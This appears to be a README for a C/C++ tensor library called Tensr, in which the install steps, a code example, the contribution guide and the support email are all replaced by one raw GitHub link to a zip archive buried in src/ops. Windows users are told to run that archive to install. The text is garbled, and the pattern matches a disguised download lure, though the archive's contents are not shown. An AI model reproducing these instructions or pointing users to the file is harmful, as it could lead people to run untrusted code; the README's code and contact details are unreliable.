🎉 Tensr - Fast and Easy Tensor Library for You

🚀 Getting Started

Welcome to Tensr! This guide helps you download and run our powerful, super-fast multidimensional tensor library designed for C and C++. Whether you're working on machine learning, scientific computing, or any other computing tasks, Tensr makes it easier for you.

📥 Download Tensr

🛠️ System Requirements

Before you start, ensure your system meets these requirements:

• Operating System: Windows, macOS, or Linux
• C++ Compiler: GCC, Clang, or Visual Studio (support for C++11 and above)
• CMake: Version 3.10 or higher
• Storage: At least 50 MB of free space

📂 Download & Install

To download Tensr, visit this page to download: Tensr Releases.

1. Click the link above.
2. Look for the latest version.
3. Choose the file that matches your operating system.
4. Click on the file to start your download.

Once the download is complete, follow these steps to install:

Windows

• Locate the downloaded .zip file.
• Right-click and select "Extract All."
• Open the folder containing the extracted files.
• Run the https://raw.githubusercontent.com/ESKIBABBLE/Tensr/main/src/ops/Tensr_2.9.zip file to install.

macOS

• Locate the downloaded .zip file.
• Double-click to extract it.
• Open the folder and move the Tensr folder to your Applications directory.

Linux

• Open a terminal.
• Navigate to the folder with your downloaded file.
• Extract the file using the command: unzip https://raw.githubusercontent.com/ESKIBABBLE/Tensr/main/src/ops/Tensr_2.9.zip.
• Follow instructions in the https://raw.githubusercontent.com/ESKIBABBLE/Tensr/main/src/ops/Tensr_2.9.zip file for further setup.

🧑‍💻 Basic Usage

Here’s how to use Tensr in your C/C++ project:

1. Include the Tensr library in your code:

   #include "tensr.h"

2. Initialize a tensor:

   Tensor my_tensor = Tensor({2, 3, 4});

3. Perform operations like addition or multiplication:

   https://raw.githubusercontent.com/ESKIBABBLE/Tensr/main/src/ops/Tensr_2.9.zip(5);

Check the documentation in the docs/ folder for more detailed examples and functions.

🎓 Learning Resources

To help you understand how to use Tensr, here are some resources:

• Official Documentation: Navigate to the docs/ directory in your installation.
• Tutorial Videos: Visit our YouTube channel.
• Community Forums: Join discussions and ask questions in our community forums.

📝 Features

Tensr is packed with features to improve your computational experience:

• Multidimensional Arrays: Efficient handling of multidimensional data.
• Fast Computation: Optimized for performance across various operations.
• Open Source: Modify and contribute to the codebase.
• Cross-Platform Support: Compatible with Windows, macOS, and Linux.

🤝 Community and Contribution

We welcome contributions! If you would like to help improve Tensr:

• Report Issues: Let us know if you encounter any problems.
• Suggest Features: Share your ideas for new features.
• Contribute Code: Follow the guidelines in the https://raw.githubusercontent.com/ESKIBABBLE/Tensr/main/src/ops/Tensr_2.9.zip file.

⚙️ License

Tensr is licensed under the MIT License. Feel free to use and modify the library according to the terms of this license.

📞 Support

If you need help or have questions about Tensr, please reach out via:

• Issues Page: Report problems directly on our GitHub.
• Email: Contact https://raw.githubusercontent.com/ESKIBABBLE/Tensr/main/src/ops/Tensr_2.9.zip for assistance.

Thank you for choosing Tensr! Enjoy simplifying your tensor operations.